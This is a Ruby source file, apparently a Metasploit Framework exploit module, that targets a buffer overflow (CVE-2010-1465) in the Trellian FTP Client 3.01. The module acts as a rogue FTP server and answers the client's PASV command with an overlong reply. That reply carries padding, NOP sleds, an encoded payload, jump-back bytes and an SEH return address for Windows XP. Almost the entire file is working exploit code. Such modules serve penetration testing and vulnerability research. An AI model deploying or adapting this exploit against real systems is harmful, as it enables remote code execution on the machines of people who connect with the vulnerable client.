96 lines
2.3 KiB
Ruby
96 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
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through an excessively long PASV message.
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},
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'Author' =>
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[
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'zombiefx', # Original exploit author
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'dookie' # MSF module author
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1465'],
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[ 'OSVDB', '63812'],
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[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 900,
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'BadChars' => "\x00\x29\x2c\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe
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],
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'Privileged' => false,
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'DisclosureDate' => 'April 11 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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# Let the client log in
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client.get_once
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user = "331 Please specify the password.\r\n"
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client.put(user)
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client.get_once
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pass = "230 Login successful.\r\n"
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client.put(pass)
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# Handle the clients PWD command
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client.get_once
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pwd = "257 \"/\" is current directory.\r\n"
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client.put(pwd)
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client.get_once
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sploit = "227 Entering Passive Mode ("
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sploit << rand_text_alpha_upper(2171)
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sploit << make_nops(100)
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sploit << payload.encoded
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sploit << make_nops(900 - (payload.encoded.length))
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sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes
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sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes
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sploit << [target.ret].pack("A3")
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sploit << ")\r\n"
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client.put(sploit)
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end
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end
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